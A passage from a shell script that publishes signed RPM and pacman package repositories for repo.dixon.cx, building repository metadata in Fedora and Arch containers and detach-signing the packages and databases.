FROM fedora:42
RUN dnf -y install createrepo_c && dnf clean all
EOF
docker run --rm --user "$(id -u):$(id -g)" -v "$REPO_DIR/rpm:/repo" repo-tools:fedora \
createrepo_c --quiet --update --general-compress-type=gz /repo
sign --armor --detach-sign -o "$REPO_DIR/rpm/repodata/repomd.xml.asc" "$REPO_DIR/rpm/repodata/repomd.xml"
cat >"$REPO_DIR/rpm/dixon.repo" <<EOF
[dixon]
name=repo.dixon.cx
baseurl=https://repo.dixon.cx/rpm
enabled=1
gpgcheck=1
repo_gpgcheck=1
gpgkey=https://repo.dixon.cx/dixon.asc
EOF
# pacman: one directory per architecture, each package signed, then
# repo-add (from an Arch container) and a signed database.
added=
for pkg in "$WORK"/out/*.pkg.tar.zst; do
a=$(basename "$pkg" .pkg.tar.zst)
a=${a##*-}
mkdir -p "$REPO_DIR/arch/$a"
cp "$pkg" "$REPO_DIR/arch/$a/"
sign --detach-sign -o "$REPO_DIR/arch/$a/$(basename "$pkg").sig" "$pkg"
added+=" $a"
done
for a in $(tr ' ' '\n' <<<"$added" | sort -u); do
dir=$REPO_DIR/arch/$a
# A fresh database of every package here; -p keeps the newest version.
rm -f "$dir/$ARCH_REPO".{db,files}{,.tar.gz}{,.sig}
docker run --rm --user "$(id -u):$(id -g)" -e HOME=/tmp -v "$dir:/repo" -w /repo archlinux:latest \
sh -c "repo-add --quiet --prevent-downgrade $ARCH_REPO.db.tar.gz *.pkg.tar.zst" 2>&1 |
{ grep -v "newer version\|^$" >&2 || true; }
for db in $ARCH_REPO.db $ARCH_REPO.files; do
sign --detach-sign -o "$dir/$db.tar.gz.sig" "$dir/$db.tar.gz"
ln -sfn "$db.tar.gz.sig" "$dir/$db.sig"
done
rm -f "$dir"/*.old "$dir"/*.old.sig
done
say "published $PACKAGE $VERSION: $(cd "$WORK/out" && ls | wc -l) packages"